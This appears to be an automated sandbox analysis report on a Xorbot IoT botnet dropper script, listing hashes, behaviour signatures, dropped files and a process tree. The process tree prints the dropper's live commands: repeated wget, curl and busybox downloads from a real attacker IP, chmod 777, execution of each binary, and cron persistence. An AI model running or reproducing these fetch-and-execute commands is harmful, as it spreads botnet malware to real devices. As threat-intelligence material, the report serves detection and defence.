Analysis

  • max time kernel
    149s
  • max time network
    162s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    02/12/2024, 00:11

General

  • Target

    RKY1N_bins.sh

  • Size

    10KB

  • MD5

    3185a06c9e65901556ba39c015fcb435

  • SHA1

    125fb6885ad57ad672d32176a30567375ad03770

  • SHA256

    aa653014d79dbe554affa5c6a3f3431aeb567bb2e834968539bd1a195a2b1c60

  • SHA512

    0c420af2a9aafa1d0b63b00fea070ec9e9d29ffa14fca78e8b5c5bf1ac6489562fc2f2326b1aefa934b0ba382114ab7f0adb81675aaec91f1c923c38c92d6e39

  • SSDEEP

    192:ojPta6AP3hIMGIQ+QeQsQFQxQpZLbHMwjPta6YP3hIM5Q+QeQsQFQxQ5c:DP3hIMGIZlVEMkZLbHMJP3hIM5ZlVEMf

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1788) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 6 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/RKY1N_bins.sh
    /tmp/RKY1N_bins.sh
    1⤵
      PID:654
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:660
        • /usr/bin/wget
          wget http://216.126.231.240/bins/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
          • Writes file to tmp directory
          PID:662
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:677
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
          • Writes file to tmp directory
          PID:686
        • /bin/chmod
          chmod 777 EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
          • File and Directory Permissions Modification
          PID:688
        • /tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          ./EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
          • Executes dropped EXE
          PID:689
        • /bin/rm
          rm EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
            PID:691
          • /usr/bin/wget
            wget http://216.126.231.240/bins/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
            • Writes file to tmp directory
            PID:692
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:693
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
            • Writes file to tmp directory
            PID:697
          • /bin/chmod
            chmod 777 mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
            • File and Directory Permissions Modification
            PID:701
          • /tmp/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            ./mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
            • Executes dropped EXE
            PID:702
          • /bin/rm
            rm mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
              PID:704
            • /usr/bin/wget
              wget http://216.126.231.240/bins/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              2⤵
              • Writes file to tmp directory
              PID:706
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:713
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              2⤵
              • Writes file to tmp directory
              PID:721
            • /bin/chmod
              chmod 777 utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              2⤵
              • File and Directory Permissions Modification
              PID:724
            • /tmp/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              ./utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              2⤵
              • Executes dropped EXE
              PID:726
            • /bin/rm
              rm utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              2⤵
                PID:728
              • /usr/bin/wget
                wget http://216.126.231.240/bins/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                2⤵
                • Writes file to tmp directory
                PID:730
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:736
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                2⤵
                • Writes file to tmp directory
                PID:748
              • /bin/chmod
                chmod 777 Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                2⤵
                • File and Directory Permissions Modification
                PID:754
              • /tmp/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                ./Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                2⤵
                • Executes dropped EXE
                PID:755
              • /bin/rm
                rm Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                2⤵
                  PID:757
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  2⤵
                  • Writes file to tmp directory
                  PID:758
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:759
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  2⤵
                  • Writes file to tmp directory
                  PID:768
                • /bin/chmod
                  chmod 777 Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  2⤵
                  • File and Directory Permissions Modification
                  PID:771
                • /tmp/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  ./Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:772
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:774
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                        • Reads runtime system information
                        PID:776
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:778
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:779
                    • /bin/rm
                      rm Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                      2⤵
                        PID:783
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                        2⤵
                          PID:786
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                          2⤵
                            PID:788
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                            2⤵
                            • Writes file to tmp directory
                            PID:871
                          • /bin/chmod
                            chmod 777 sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                            2⤵
                            • File and Directory Permissions Modification
                            PID:879
                          • /tmp/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                            ./sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                            2⤵
                            • Executes dropped EXE
                            PID:881
                          • /bin/rm
                            rm sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                            2⤵
                              PID:882
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
                              2⤵
                                PID:884
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
                                2⤵
                                  PID:885
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:888
                                • /bin/chmod
                                  chmod 777 bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:892
                                • /tmp/bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
                                  ./bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
                                  2⤵
                                  • Executes dropped EXE
                                  PID:894
                                • /bin/rm
                                  rm bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
                                  2⤵
                                    PID:895
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
                                    2⤵
                                      PID:896
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
                                      2⤵
                                        PID:902
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:908
                                      • /bin/chmod
                                        chmod 777 q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:912
                                      • /tmp/q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
                                        ./q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
                                        2⤵
                                        • Executes dropped EXE
                                        PID:916
                                      • /bin/rm
                                        rm q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
                                        2⤵
                                          PID:918
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER
                                          2⤵
                                            PID:919
                                          • /usr/bin/curl
                                            curl -O http://216.126.231.240/bins/nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER
                                            2⤵
                                            • Checks CPU configuration
                                            PID:920

                                        Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • /tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R

                                          Filesize

                                          99KB

                                          MD5

                                          9438d9bc392bcf300a5583b6df5bc8f6

                                          SHA1

                                          375a6ae34b516f6f3eeea8030c4084f585017efa

                                          SHA256

                                          68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                          SHA512

                                          1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                        • /tmp/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic

                                          Filesize

                                          177KB

                                          MD5

                                          786d75a158fe731feca3880f436082c0

                                          SHA1

                                          79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                          SHA256

                                          5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                          SHA512

                                          7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                        • /tmp/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c

                                          Filesize

                                          98KB

                                          MD5

                                          5141342d0df8699fa32a6b066a0c592e

                                          SHA1

                                          8157673225bd5182f16215e2aa823a25ca2d4fbc

                                          SHA256

                                          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                          SHA512

                                          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                        • /tmp/bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w

                                          Filesize

                                          127KB

                                          MD5

                                          89077b7bd4bcafca7713be43635c4862

                                          SHA1

                                          fc02edb8fba29ea8ee99e6157ef8560334530052

                                          SHA256

                                          78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                          SHA512

                                          1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                        • /tmp/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK

                                          Filesize

                                          151KB

                                          MD5

                                          3c90d5820bddcf7c5d1bd21dfa49d958

                                          SHA1

                                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                          SHA256

                                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                          SHA512

                                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                        • /tmp/q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL

                                          Filesize

                                          151KB

                                          MD5

                                          6c583043d91c55aa470c08c87058e917

                                          SHA1

                                          abf65a5b9bba69980278ad09356e53de8bb89439

                                          SHA256

                                          2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                          SHA512

                                          82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                        • /tmp/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx

                                          Filesize

                                          141KB

                                          MD5

                                          3ca8decdb1e52c423c521bfff02ac200

                                          SHA1

                                          8621ecd6807109b8541912ad9e134f6fb49bfd48

                                          SHA256

                                          dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                          SHA512

                                          b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                        • /tmp/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj

                                          Filesize

                                          111KB

                                          MD5

                                          ca897a38f23ec23521ce0b1b83f8422d

                                          SHA1

                                          b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                          SHA256

                                          043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                          SHA512

                                          10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                        • /var/spool/cron/crontabs/tmp.PDs5Qy

                                          Filesize

                                          210B

                                          MD5

                                          231ae95fb38d9c4b6c8be80845bb4423

                                          SHA1

                                          6337fe5b9af68ff719797a5852053006ebc1941d

                                          SHA256

                                          5ed4745a3093a0e674b2d8027cd85c6694f0b196ecbd57d01df90daf858989ee

                                          SHA512

                                          e5a7e3b57c3de01f0ab782e13683463d743a9d497673b1934a7d60a30eb2c96888a761aa4a12dba152eaee2664b3bfa9cdea763eba87313b7eab4da460528b33